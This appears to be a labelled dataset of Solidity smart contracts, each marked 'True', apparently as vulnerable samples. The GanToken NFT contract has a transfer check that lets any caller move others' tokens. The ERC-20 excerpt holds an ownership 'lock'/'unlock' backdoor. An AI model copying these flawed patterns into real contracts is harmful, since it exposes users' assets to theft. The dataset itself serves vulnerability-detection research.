{ val = wut; has = true; } function void() public note auth { // unset the value has = false; } }

True

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pragma solidity ^0.4.21; /// @title ERC-165 Standard Interface Detection /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md interface ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /// @title ERC-721 Non-Fungible Token Standard /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md contract ERC721 is ERC165 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) external view returns (uint256); function ownerOf(uint256 _tokenId) external view returns (address); function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable; function transferFrom(address _from, address _to, uint256 _tokenId) external payable; function approve(address _approved, uint256 _tokenId) external payable; function setApprovalForAll(address _operator, bool _approved) external; function getApproved(uint256 _tokenId) external view returns (address); function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /// @title ERC-721 Non-Fungible Token Standard interface ERC721TokenReceiver { function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4); } /// @title ERC-721 Non-Fungible Token Standard, optional metadata extension interface ERC721Metadata /* is ERC721 */ { function name() external pure returns (string _name); function symbol() external pure returns (string _symbol); function tokenURI(uint256 _tokenId) external view returns (string); } /// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension interface ERC721Enumerable /* is ERC721 */ { function totalSupply() external view returns (uint256); function tokenByIndex(uint256 _index) external view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256); } /// @title A reusable contract to comply with ERC-165 /// @author William Entriken (https://phor.net) contract PublishInterfaces is ERC165 { /// @dev Every interface that we support mapping(bytes4 => bool) internal supportedInterfaces; function PublishInterfaces() internal { supportedInterfaces[0x01ffc9a7] = true; // ERC165 } /// @notice Query if a contract implements an interface /// @param interfaceID The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceID` and /// `interfaceID` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceID) external view returns (bool) { return supportedInterfaces[interfaceID] && (interfaceID != 0xffffffff); } } /// @title The external contract that is responsible for generating metadata for GanTokens, /// it has one function that will return the data as bytes. contract Metadata { /// @dev Given a token Id, returns a string with metadata function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) { if (_tokenId == 1) { buffer[0] = "Hello World! :D"; count = 15; } else if (_tokenId == 2) { buffer[0] = "I would definitely choose a medi"; buffer[1] = "um length string."; count = 49; } else if (_tokenId == 3) { buffer[0] = "Lorem ipsum dolor sit amet, mi e"; buffer[1] = "st accumsan dapibus augue lorem,"; buffer[2] = " tristique vestibulum id, libero"; buffer[3] = " suscipit varius sapien aliquam."; count = 128; } } } contract GanNFT is ERC165, ERC721, ERC721Enumerable, PublishInterfaces, Ownable { function GanNFT() internal { supportedInterfaces[0x80ac58cd] = true; // ERC721 supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable supportedInterfaces[0x8153916a] = true; // ERC721 + 165 (not needed) } bytes4 private constant ERC721_RECEIVED = bytes4(keccak256("onERC721Received(address,uint256,bytes)")); // @dev claim price taken for each new GanToken // generating a new token will be free in the beinging and later changed uint256 public claimPrice = 0; // @dev max supply for token uint256 public maxSupply = 300; // The contract that will return tokens metadata Metadata public erc721Metadata; /// @dev list of all owned token ids uint256[] public tokenIds; /// @dev a mpping for all tokens mapping(uint256 => address) public tokenIdToOwner; /// @dev mapping to keep owner balances mapping(address => uint256) public ownershipCounts; /// @dev mapping to owners to an array of tokens that they own mapping(address => uint256[]) public ownerBank; /// @dev mapping to approved ids mapping(uint256 => address) public tokenApprovals; /// @dev The authorized operators for each address mapping (address => mapping (address => bool)) internal operatorApprovals; /// @notice A descriptive name for a collection of NFTs in this contract function name() external pure returns (string) { return "GanToken"; } /// @notice An abbreviated name for NFTs in this contract function symbol() external pure returns (string) { return "GT"; } /// @dev Set the address of the sibling contract that tracks metadata. /// Only the contract creater can call this. /// @param _contractAddress The location of the contract with meta data function setMetadataAddress(address _contractAddress) public onlyOwner { erc721Metadata = Metadata(_contractAddress); } modifier canTransfer(uint256 _tokenId, address _from, address _to) { address owner = tokenIdToOwner[_tokenId]; require(tokenApprovals[_tokenId] == _to || owner == _from || operatorApprovals[_to][_to]); _; } /// @notice checks to see if a sender owns a _tokenId /// @param _tokenId The identifier for an NFT modifier owns(uint256 _tokenId) { require(tokenIdToOwner[_tokenId] == msg.sender); _; } /// @dev This emits any time the ownership of a GanToken changes. event Transfer(address indexed _from, address indexed _to, uint256 _value); /// @dev This emits when the approved addresses for a GanToken is changed or reaffirmed. /// The zero address indicates there is no owner and it get reset on a transfer event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /// @notice allow the owner to set the supply max function setMaxSupply(uint max) external payable onlyOwner { require(max > tokenIds.length); maxSupply = max; } /// @notice allow the owner to set a new fee for creating a GanToken function setClaimPrice(uint256 price) external payable onlyOwner { claimPrice = price; } /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) external view returns (uint256 balance) { balance = ownershipCounts[_owner]; } /// @notice Gets the onwner of a an NFT /// @param _tokenId The identifier for an NFT /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = tokenIdToOwner[_tokenId]; } /// @notice returns all owners' tokens will return an empty array /// if the address has no tokens /// @param _owner The address of the owner in question function tokensOfOwner(address _owner) external view returns (uint256[]) { uint256 tokenCount = ownershipCounts[_owner]; if (tokenCount == 0) { return new uint256[](0); } uint256[] memory result = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { result[i] = ownerBank[_owner][i]; } return result; } /// @dev creates a list of all the tokenIds function getAllTokenIds() external view returns (uint256[]) { uint256[] memory result = new uint256[](tokenIds.length); for (uint i = 0; i < result.length; i++) { result[i] = tokenIds[i]; } return result; } /// @notice Create a new GanToken with a id and attaches an owner /// @param _noise The id of the token that's being created function newGanToken(uint256 _noise) external payable { require(msg.sender != address(0)); require(tokenIdToOwner[_noise] == 0x0); require(tokenIds.length < maxSupply); require(msg.value >= claimPrice); tokenIds.push(_noise); ownerBank[msg.sender].push(_noise); tokenIdToOwner[_noise] = msg.sender; ownershipCounts[msg.sender]++; emit Transfer(address(0), msg.sender, 0); } /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable { _safeTransferFrom(_from, _to, _tokenId, data); } /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "" /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable { _safeTransferFrom(_from, _to, _tokenId, ""); } /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom(address _from, address _to, uint256 _tokenId) external payable { require(_to != 0x0); require(_to != address(this)); require(tokenApprovals[_tokenId] == msg.sender); require(tokenIdToOwner[_tokenId] == _from); _transfer(_tokenId, _to); } /// @notice Grant another address the right to transfer a specific token via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @dev The zero address indicates there is no approved address. /// @dev Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @dev Required for ERC-721 compliance. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Kitty that can be transferred if this call succeeds. function approve(address _to, uint256 _tokenId) external owns(_tokenId) payable { // Register the approval (replacing any previous approval). tokenApprovals[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); } /// @notice Enable or disable approval for a third party ("operator") to manage /// all your asset. /// @dev Emits the ApprovalForAll event /// @param _operator Address to add to the set of authorized operators. /// @param _approved True if the operators is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external { operatorApprovals[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /// @notice Get the approved address for a single NFT /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) external view returns (address) { return tokenApprovals[_tokenId]; } /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) external view returns (bool) { return operatorApprovals[_owner][_operator]; } /// @notice Count NFTs tracked by this contract /// @return A count of valid NFTs tracked by this contract, where each one of /// them has an assigned and queryable owner not equal to the zero address /// @dev Required for ERC-721 compliance. function totalSupply() external view returns (uint256) { return tokenIds.length; } /// @notice Enumerate valid NFTs /// @param _index A counter less than `totalSupply()` /// @return The token identifier for index the `_index`th NFT 0 if it doesn't exist, function tokenByIndex(uint256 _index) external view returns (uint256) { return tokenIds[_index]; } /// @notice Enumerate NFTs assigned to an owner /// @dev Throws if `_index` >= `balanceOf(_owner)` or if /// `_owner` is the zero address, representing invalid NFTs. /// @param _owner An address where we are interested in NFTs owned by them /// @param _index A counter less than `balanceOf(_owner)` /// @return The token identifier for the `_index`th NFT assigned to `_owner`, /// (sort order not specified) function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _tokenId) { require(_owner != address(0)); require(_index < ownerBank[_owner].length); _tokenId = ownerBank[_owner][_index]; } function _transfer(uint256 _tokenId, address _to) internal { require(_to != address(0)); address from = tokenIdToOwner[_tokenId]; uint256 tokenCount = ownershipCounts[from]; // remove from ownerBank and replace the deleted token id for (uint256 i = 0; i < tokenCount; i++) { uint256 ownedId = ownerBank[from][i]; if (_tokenId == ownedId) { delete ownerBank[from][i]; if (i != tokenCount) { ownerBank[from][i] = ownerBank[from][tokenCount - 1]; } break; } } ownershipCounts[from]--; ownershipCounts[_to]++; ownerBank[_to].push(_tokenId); tokenIdToOwner[_tokenId] = _to; tokenApprovals[_tokenId] = address(0); emit Transfer(from, _to, 1); } /// @dev Actually perform the safeTransferFrom function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) private canTransfer(_tokenId, _from, _to) { address owner = tokenIdToOwner[_tokenId]; require(owner == _from); require(_to != address(0)); require(_to != address(this)); _transfer(_tokenId, _to); // Do the callback after everything is done to avoid reentrancy attack uint256 codeSize; assembly { codeSize := extcodesize(_to) } if (codeSize == 0) { return; } bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data); require(retval == ERC721_RECEIVED); } /// @dev Adapted from memcpy() by @arachnid (Nick Johnson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d5b4a7b4b6bdbbbcb195bbbaa1b1baa1fbbbb0a1">[email protected]</a>>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _memcpy(uint _dest, uint _src, uint _len) private pure { // Copy word-length chunks while possible for(; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } // Copy remaining bytes uint256 mask = 256 ** (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } /// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b1d0c3d0d2d9dfd8d5f1dfdec5d5dec59fdfd4c5">[email protected]</a>>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private pure returns (string) { string memory outputString = new string(_stringLength); uint256 outputPtr; uint256 bytesPtr; assembly { outputPtr := add(outputString, 32) bytesPtr := _rawBytes } _memcpy(outputPtr, bytesPtr, _stringLength); return outputString; } /// @notice Returns a URI pointing to a metadata package for this token conforming to /// ERC-721 (https://github.com/ethereum/EIPs/issues/721) /// @param _tokenId The ID number of the GanToken whose metadata should be returned. function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) { require(erc721Metadata != address(0)); uint256 count; bytes32[4] memory buffer; (buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport); return _toString(buffer, count); } } contract GanTokenMain is GanNFT { struct Offer { bool isForSale; uint256 tokenId; address seller; uint value; // in ether address onlySellTo; // specify to sell only to a specific person } struct Bid { bool hasBid; uint256 tokenId; address bidder; uint value; } /// @dev mapping of balances for address mapping(address => uint256) public pendingWithdrawals; /// @dev mapping of tokenId to to an offer mapping(uint256 => Offer) public ganTokenOfferedForSale; /// @dev mapping bids to tokenIds mapping(uint256 => Bid) public tokenBids; event BidForGanTokenOffered(uint256 tokenId, uint256 value, address sender); event BidWithdrawn(uint256 tokenId, uint256 value, address bidder); event GanTokenOfferedForSale(uint256 tokenId, uint256 minSalePriceInWei, address onlySellTo); event GanTokenNoLongerForSale(uint256 tokenId); /// @notice Allow a token owner to pull sale /// @param tokenId The id of the token that's created function ganTokenNoLongerForSale(uint256 tokenId) public payable owns(tokenId) { ganTokenOfferedForSale[tokenId] = Offer(false, tokenId, msg.sender, 0, 0x0); emit GanTokenNoLongerForSale(tokenId); } /// @notice Put a token up for sale /// @param tokenId The id of the token that's created /// @param minSalePriceInWei desired price of token function offerGanTokenForSale(uint tokenId, uint256 minSalePriceInWei) external payable owns(tokenId) { ganTokenOfferedForSale[tokenId] = Offer(true, tokenId, msg.sender, minSalePriceInWei, 0x0); emit GanTokenOfferedForSale(tokenId, minSalePriceInWei, 0x0); } /// @notice Create a new GanToken with a id and attaches an owner /// @param tokenId The id of the token that's being created function offerGanTokenForSaleToAddress(uint tokenId, address sendTo, uint256 minSalePriceInWei) external payable { require(tokenIdToOwner[tokenId] == msg.sender); ganTokenOfferedForSale[tokenId] = Offer(true, tokenId, msg.sender, minSalePriceInWei, sendTo); emit GanTokenOfferedForSale(tokenId, minSalePriceInWei, sendTo); } /// @notice Allows an account to buy a NFT gan token that is up for offer /// the token owner must set onlySellTo to the sender /// @param id the id of the token function buyGanToken(uint256 id) public payable { Offer memory offer = ganTokenOfferedForSale[id]; require(offer.isForSale); require(offer.onlySellTo == msg.sender && offer.onlySellTo != 0x0); require(msg.value == offer.value); require(tokenIdToOwner[id] == offer.seller); safeTransferFrom(offer.seller, offer.onlySellTo, id); ganTokenOfferedForSale[id] = Offer(false, id, offer.seller, 0, 0x0); pendingWithdrawals[offer.seller] += msg.value; } /// @notice Allows an account to enter a higher bid on a toekn /// @param tokenId the id of the token function enterBidForGanToken(uint256 tokenId) external payable { Bid memory existing = tokenBids[tokenId]; require(tokenIdToOwner[tokenId] != msg.sender); require(tokenIdToOwner[tokenId] != 0x0); require(msg.value > existing.value); if (existing.value > 0) { // Refund the failing bid pendingWithdrawals[existing.bidder] += existing.value; } tokenBids[tokenId] = Bid(true, tokenId, msg.sender, msg.value); emit BidForGanTokenOffered(tokenId, msg.value, msg.sender); } /// @notice Allows the owner of a token to accept an outstanding bid for that token /// @param tokenId The id of the token that's being created /// @param price The desired price of token in wei function acceptBid(uint256 tokenId, uint256 price) external payable { require(tokenIdToOwner[tokenId] == msg.sender); Bid memory bid = tokenBids[tokenId]; require(bid.value != 0); require(bid.value == price); safeTransferFrom(msg.sender, bid.bidder, tokenId); tokenBids[tokenId] = Bid(false, tokenId, address(0), 0); pendingWithdrawals[msg.sender] += bid.value; } /// @notice Check is a given id is on sale /// @param tokenId The id of the token in question /// @return a bool whether of not the token is on sale function isOnSale(uint256 tokenId) external view returns (bool) { return ganTokenOfferedForSale[tokenId].isForSale; } /// @notice Gets all the sale data related to a token /// @param tokenId The id of the token /// @return sale information function getSaleData(uint256 tokenId) public view returns (bool isForSale, address seller, uint value, address onlySellTo) { Offer memory offer = ganTokenOfferedForSale[tokenId]; isForSale = offer.isForSale; seller = offer.seller; value = offer.value; onlySellTo = offer.onlySellTo; } /// @notice Gets all the bid data related to a token /// @param tokenId The id of the token /// @return bid information function getBidData(uint256 tokenId) view public returns (bool hasBid, address bidder, uint value) { Bid memory bid = tokenBids[tokenId]; hasBid = bid.hasBid; bidder = bid.bidder; value = bid.value; } /// @notice Allows a bidder to withdraw their bid /// @param tokenId The id of the token function withdrawBid(uint256 tokenId) external payable { Bid memory bid = tokenBids[tokenId]; require(tokenIdToOwner[tokenId] != msg.sender); require(tokenIdToOwner[tokenId] != 0x0); require(bid.bidder == msg.sender); emit BidWithdrawn(tokenId, bid.value, msg.sender); uint amount = bid.value; tokenBids[tokenId] = Bid(false, tokenId, 0x0, 0); // Refund the bid money msg.sender.transfer(amount); } /// @notice Allows a sender to withdraw any amount in the contrat function withdraw() external { uint256 amount = pendingWithdrawals[msg.sender]; // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-09-18 */ /** *Submitted for verification at Etherscan.io on 2021-09-18 */ /** *Submitted for verification at Etherscan.io on 2021-09-18 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; 